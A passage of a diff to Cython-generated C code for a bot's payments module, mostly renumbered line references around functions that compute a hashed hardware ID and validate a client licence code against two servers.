__Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 327, __pyx_L3_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 329, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - __pyx_t_8 = (__Pyx_PyUnicode_Equals(__pyx_t_4, __pyx_n_u_Windows, Py_EQ)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 327, __pyx_L3_error) + __pyx_t_8 = (__Pyx_PyUnicode_Equals(__pyx_t_4, __pyx_n_u_Windows, Py_EQ)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 329, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_8) { - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_subprocess); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 328, __pyx_L3_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_subprocess); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_check_output); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 328, __pyx_L3_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_check_output); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 328, __pyx_L3_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_shell, Py_True) < 0) __PYX_ERR(0, 328, __pyx_L3_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__38, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 328, __pyx_L3_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_shell, Py_True) < 0) __PYX_ERR(0, 330, __pyx_L3_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__36, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_decode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 328, __pyx_L3_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_decode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -9503,11 +9544,11 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 328, __pyx_L3_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_split); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 328, __pyx_L3_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_split); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -9525,17 +9566,17 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u__39}; + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u__37}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 328, __pyx_L3_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } - __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_6, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 328, __pyx_L3_error) + __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_6, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 328, __pyx_L3_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; @@ -9556,7 +9597,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 328, __pyx_L3_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 330, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -9568,11 +9609,11 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU /*else*/ { /*with:*/ { - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_tuple__40, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 330, __pyx_L3_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_tuple__38, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 332, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_12 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_exit); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 330, __pyx_L3_error) + __pyx_t_12 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_exit); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 332, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_9 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_enter); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 330, __pyx_L10_error) + __pyx_t_9 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_enter); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 332, __pyx_L10_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_5 = NULL; __pyx_t_7 = 0; @@ -9592,7 +9633,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 330, __pyx_L10_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 332, __pyx_L10_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -9611,7 +9652,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU __pyx_v_f = __pyx_t_9; __pyx_t_9 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_f, __pyx_n_s_read); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 331, __pyx_L14_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_f, __pyx_n_s_read); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 333, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; __pyx_t_7 = 0; @@ -9631,11 +9672,11 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 331, __pyx_L14_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 333, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 331, __pyx_L14_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 333, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; @@ -9656,7 +9697,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 331, __pyx_L14_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 333, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -9677,20 +9718,20 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; /*except:*/ { __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_9, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 330, __pyx_L16_except_error) + if (__Pyx_GetException(&__pyx_t_9, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 332, __pyx_L16_except_error) __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_6); __Pyx_XGOTREF(__pyx_t_4); - __pyx_t_5 = PyTuple_Pack(3, __pyx_t_9, __pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 330, __pyx_L16_except_error) + __pyx_t_5 = PyTuple_Pack(3, __pyx_t_9, __pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 332, __pyx_L16_except_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_5, NULL); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 330, __pyx_L16_except_error) + if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 332, __pyx_L16_except_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_16); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (__pyx_t_8 < 0) __PYX_ERR(0, 330, __pyx_L16_except_error) + if (__pyx_t_8 < 0) __PYX_ERR(0, 332, __pyx_L16_except_error) __pyx_t_17 = (!__pyx_t_8); if (unlikely(__pyx_t_17)) { __Pyx_GIVEREF(__pyx_t_9); @@ -9698,7 +9739,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU __Pyx_XGIVEREF(__pyx_t_4); __Pyx_ErrRestoreWithState(__pyx_t_9, __pyx_t_6, __pyx_t_4); __pyx_t_9 = 0; __pyx_t_6 = 0; __pyx_t_4 = 0; - __PYX_ERR(0, 330, __pyx_L16_except_error) + __PYX_ERR(0, 332, __pyx_L16_except_error) } __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -9722,9 +9763,9 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU /*finally:*/ { /*normal exit:*/{ if (__pyx_t_12) { - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_tuple__41, NULL); + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_tuple__39, NULL); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 330, __pyx_L3_error) + if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 332, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } @@ -9741,13 +9782,13 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU } __pyx_L9:; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 333, __pyx_L3_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sha256); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 333, __pyx_L3_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sha256); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_v_result)) { __Pyx_RaiseUnboundLocalError("result"); __PYX_ERR(0, 333, __pyx_L3_error) } - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_v_result, __pyx_n_s_encode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 333, __pyx_L3_error) + if (unlikely(!__pyx_v_result)) { __Pyx_RaiseUnboundLocalError("result"); __PYX_ERR(0, 335, __pyx_L3_error) } + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_v_result, __pyx_n_s_encode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_10 = NULL; __pyx_t_7 = 0; @@ -9767,7 +9808,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 333, __pyx_L3_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -9790,11 +9831,11 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 333, __pyx_L3_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 333, __pyx_L3_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -9815,7 +9856,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 333, __pyx_L3_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 335, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -9839,7 +9880,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_18) { __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 335, __pyx_L5_except_error) + if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 337, __pyx_L5_except_error) __Pyx_XGOTREF(__pyx_t_4); __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_6); @@ -9897,7 +9938,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_24validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ -PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_23validate_client_code, "\n \320\236\321\202\320\277\321\200\320\260\320\262\320\273\321\217\320\265\321\202 \320\272\320\273\320\270\320\265\320\275\321\202\321\201\320\272\320\270\320\271 \320\272\320\276\320\264 \320\270 hardware ID \320\275\320\260 \321\201\320\265\321\200\320\262\320\265\321\200 \320\264\320\273\321\217 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\270.\n \320\225\321\201\320\273\320\270 \321\201\320\260\320\271\321\202 \320\275\320\265\320\264\320\276\321\201\321\202\321\203\320\277\320\265\320\275, \320\261\320\276\321\202 \320\277\321\200\320\276\320\264\320\276\320\273\320\266\320\260\320\265\321\202 \321\200\320\260\320\261\320\276\321\202\321\203, \320\260 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\261\321\203\320\264\320\265\321\202 \320\262\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\260 \320\277\320\276\320\262\321\202\320\276\321\200\320\275\320\276 \320\277\321\200\320\270 \321\201\320\273\320\265\320\264\321\203\321\216\321\211\320\265\320\274 \320\267\320\260\320\277\321\203\321\201\320\272\320\265.\n \320\232\320\273\320\270\320\265\320\275\321\202 \320\262\320\270\320\264\320\270\321\202 \321\202\320\276\320\273\321\214\320\272\320\276 \321\200\320\265\320\267\321\203\320\273\321\214\321\202\320\260\321\202 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\270: \321\203\321\201\320\277\320\265\321\210\320\275\320\260\321\217 \320\260\320\272\321\202\320\270\320\262\320\260\321\206\320\270\321\217 \320\270\320\273\320\270 \320\275\320\265\321\203\321\201\320\277\320\265\321\210\320\275\320\260\321\217 (\320\275\320\260\320\277\321\200\320\270\320\274\320\265\321\200, \320\275\320\265\320\262\320\265\321\200\320\275\321\213\320\271 \320\272\320\276\320\264).\n "); +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_23validate_client_code, "\n \320\237\321\200\320\276\320\262\320\265\321\200\321\217\320\265\321\202 \320\272\320\273\320\270\320\265\320\275\321\202\321\201\320\272\320\270\320\271 \320\272\320\276\320\264 \320\277\320\276 \320\264\320\262\321\203\320\274 \321\201\320\265\321\200\320\262\320\265\321\200\320\260\320\274.\n \n \342\234\205 \320\243\321\201\320\277\320\265\321\205:\n - \321\205\320\276\321\202\321\217 \320\261\321\213 \320\276\320\264\320\270\320\275 \321\201\320\265\321\200\320\262\320\265\321\200 \320\264\320\260\320\273 \"success\"\n - \320\270\320\273\320\270 \320\276\320\261\320\260 \321\201\320\265\321\200\320\262\320\265\321\200\320\260 \320\275\320\265\320\264\320\276\321\201\321\202\321\203\320\277\320\275\321\213 (\321\202\320\260\320\271\320\274\320\260\321\203\321\202\321\213, \320\276\321\210\320\270\320\261\320\272\320\270 \321\201\320\276\320\265\320\264\320\270\320\275\320\265\320\275\320\270\321\217, 502, 404)\n \n \342\235\214 \320\236\321\210\320\270\320\261\320\272\320\260:\n - \321\205\320\276\321\202\321\217 \320\261\321\213 \320\276\320\264\320\270\320\275 \321\201\320\265\321\200\320\262\320\265\321\200 \320\262\320\265\321\200\320\275\321\203\320\273 \"error\" (\320\275\320\265\320\262\320\265\321\200\320\275\321\213\320\271 \320\272\320\276\320\264)\n "); static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_24validate_client_code = {"validate_client_code", (PyCFunction)__pyx_pw_8handlers_8payments_4gift_24validate_client_code, METH_NOARGS, __pyx_doc_8handlers_8payments_4gift_23validate_client_code}; static PyObject *__pyx_pw_8handlers_8payments_4gift_24validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { CYTHON_UNUSED PyObject *const *__pyx_kwvalues; @@ -9924,12 +9965,12 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_23validate_client_code(CYTHO if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_7_validate_client_code *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 341, __pyx_L1_error) + __PYX_ERR(0, 343, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_25generator7, __pyx_codeobj__42, (PyObject *) __pyx_cur_scope, __pyx_n_s_validate_client_code, __pyx_n_s_validate_client_code, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 341, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_25generator7, __pyx_codeobj__40, (PyObject *) __pyx_cur_scope, __pyx_n_s_validate_client_code, __pyx_n_s_validate_client_code, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -9963,7 +10004,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine PyObject *__pyx_t_12 = NULL; PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; - PyObject *__pyx_t_15 = NULL; + Py_ssize_t __pyx_t_15; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; @@ -9975,7 +10016,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine PyObject *__pyx_t_24 = NULL; PyObject *__pyx_t_25 = NULL; PyObject *__pyx_t_26 = NULL; - int __pyx_t_27; + PyObject *__pyx_t_27 = NULL; + PyObject *__pyx_t_28 = NULL; + PyObject *__pyx_t_29 = NULL; + PyObject *__pyx_t_30 = NULL; + PyObject *__pyx_t_31 = NULL; + int __pyx_t_32; + int __pyx_t_33; + char const *__pyx_t_34; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; @@ -9984,22 +10032,24 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine switch (__pyx_generator->resume_label) { case 0: goto __pyx_L3_first_run; case 1: goto __pyx_L12_resume_from_await; - case 2: goto __pyx_L23_resume_from_await; - case 3: goto __pyx_L34_resume_from_await; - case 4: goto __pyx_L41_resume_from_await; - case 5: goto __pyx_L42_resume_from_await; - case 6: goto __pyx_L43_resume_from_await; - case 7: goto __pyx_L48_resume_from_await; - case 8: goto __pyx_L49_resume_from_await; - case 9: goto __pyx_L50_resume_from_await; + case 2: goto __pyx_L33_resume_from_await; + case 3: goto __pyx_L48_resume_from_await; + case 4: goto __pyx_L55_resume_from_await; + case 5: goto __pyx_L56_resume_from_await; + case 6: goto __pyx_L57_resume_from_await; + case 7: goto __pyx_L58_resume_from_await; + case 8: goto __pyx_L66_resume_from_await; + case 9: goto __pyx_L67_resume_from_await; + case 10: goto __pyx_L68_resume_from_await; + case 11: goto __pyx_L82_resume_from_await; default: /* CPython raises the right error here */ __Pyx_RefNannyFinishContext(); return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 341, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 343, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_hardware_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 347, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_hardware_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -10019,7 +10069,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 347, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -10027,13 +10077,13 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_cur_scope->__pyx_v_hardware_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_hardware_id); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 348, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_hardware_id); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 355, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 349, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if 